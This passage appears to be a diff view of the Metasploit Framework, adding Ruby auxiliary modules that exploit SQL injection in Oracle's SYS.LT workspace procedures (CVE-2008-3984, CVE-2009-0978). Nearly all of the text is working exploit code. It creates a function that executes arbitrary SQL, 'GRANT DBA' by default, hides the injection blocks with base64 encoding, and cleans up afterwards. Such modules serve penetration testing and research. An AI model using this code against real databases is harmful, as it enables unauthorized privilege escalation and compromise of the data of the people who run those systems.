#{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}')));
EXECUTE IMMEDIATE #{rand2};
#{rand3} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{tres}')));
EXECUTE IMMEDIATE #{rand3};
END;
|
clean = "DROP FUNCTION #{cruft}"
# Try first, if it's good.. keep doing the dance.
print_status("Attempting sql injection on SYS.LT.MERGEWORKSPACE...")
begin
prepare_exec(sql)
rescue => e
return
end
print_status("Removing function '#{cruft}'...")
prepare_exec(clean)
end
end

103
modules/auxiliary/sqli/oracle/lt_removeworkspace.rb Normal file
View File

@ -0,0 +1,103 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::ORACLE
def initialize(info = {})
super(update_info(info,
'Name' => 'SQL Injection via SYS.LT.REMOVEWORKSPACE.',
'Description' => %q{
This module exploits an sql injection flaw in the REMOVEWORKSPACE
procedure of the PL/SQL package SYS.LT. Any user with execute
privilege on the vulnerable package can exploit this vulnerability.
},
'Author' => [ 'Sh2kerr <research[ad]dsecrg.com>' ],
'License' => MSF_LICENSE,
'Version' => '$Revision:$',
'References' =>
[
[ 'CVE', '2008-3984' ],
[ 'URL', 'http://www.appsecinc.com/resources/alerts/oracle/2008-10.shtml' ],
],
'DisclosureDate' => 'Jan 2009'))
register_options(
[
OptString.new('SQL', [ false, 'SQL to execte.', "GRANT DBA to #{datastore['DBUSER']}"]),
], self.class)
end
def run
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
cruft = Rex::Text.rand_text_alpha_upper(1)
function = "
CREATE OR REPLACE FUNCTION #{cruft}
RETURN VARCHAR2 AUTHID CURRENT_USER
AS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE '#{datastore['SQL']}';
COMMIT;
RETURN '#{cruft}';
END;"
package1 = %Q|
BEGIN
SYS.LT.CREATEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}');
END;
|
package2 = %Q|
BEGIN
SYS.LT.REMOVEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}');
END;
|
uno = Rex::Text.encode_base64(function)
dos = Rex::Text.encode_base64(package1)
tres = Rex::Text.encode_base64(package2)
sql = %Q|
DECLARE
#{rand1} VARCHAR2(32767);
#{rand2} VARCHAR2(32767);
#{rand3} VARCHAR2(32767);
BEGIN
#{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{uno}')));
EXECUTE IMMEDIATE #{rand1};
#{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}')));
EXECUTE IMMEDIATE #{rand2};
#{rand3} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{tres}')));
EXECUTE IMMEDIATE #{rand3};
END;
|
clean = "DROP FUNCTION #{cruft}"
# Try first, if it's good.. keep doing the dance.
print_status("Attempting sql injection on SYS.LT.REMOVEWORKSPACE...")
begin
prepare_exec(sql)
rescue => e
return
end
print_status("Removing function '#{cruft}'...")
prepare_exec(clean)
end
end

100
modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb Normal file
View File

@ -0,0 +1,100 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::ORACLE
def initialize(info = {})
super(update_info(info,
'Name' => 'SQL Injection via SYS.LT.ROLLBACKWORKSPACE.',
'Description' => %q{
This module exploits an sql injection flaw in the ROLLBACKWORKSPACE
procedure of the PL/SQL package SYS.LT. Any user with execute
privilege on the vulnerable package can exploit this vulnerability.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision:$',
'References' =>
[
[ 'CVE', '2009-0978' ],
[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuapr2009.html' ],
],
'DisclosureDate' => 'May 4 2009'))
register_options(
[
OptString.new('SQL', [ false, 'SQL to execte.', "GRANT DBA to #{datastore['DBUSER']}"]),
], self.class)
end
def run
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
cruft = Rex::Text.rand_text_alpha_upper(rand(5) + 1)
function = "
CREATE OR REPLACE FUNCTION #{cruft}
RETURN VARCHAR2 AUTHID CURRENT_USER
AS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE '#{datastore['SQL']}';
COMMIT;
RETURN '#{cruft}';
END;"
package1 = %Q|
BEGIN
SYS.LT.CREATEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}');
END;
|
package2 = %Q|
BEGIN
SYS.LT.ROLLBACKWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}');
END;
|
uno = Rex::Text.encode_base64(function)
dos = Rex::Text.encode_base64(package1)
tres = Rex::Text.encode_base64(package2)
sql = %Q|
DECLARE
#{rand1} VARCHAR2(32767);
#{rand2} VARCHAR2(32767);
#{rand3} VARCHAR2(32767);
BEGIN
#{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{uno}')));
EXECUTE IMMEDIATE #{rand1};
#{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}')));
EXECUTE IMMEDIATE #{rand2};
#{rand3} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{tres}')));
EXECUTE IMMEDIATE #{rand3};
END;
|
clean = "DROP FUNCTION #{cruft}"
print_status("Attempting sql injection on SYS.LT.ROLLBACKWORKSPACE...")
begin
prepare_exec(sql)
rescue => e
return
end
print_status("Removing function '#{cruft}'...")
prepare_exec(clean)
end
end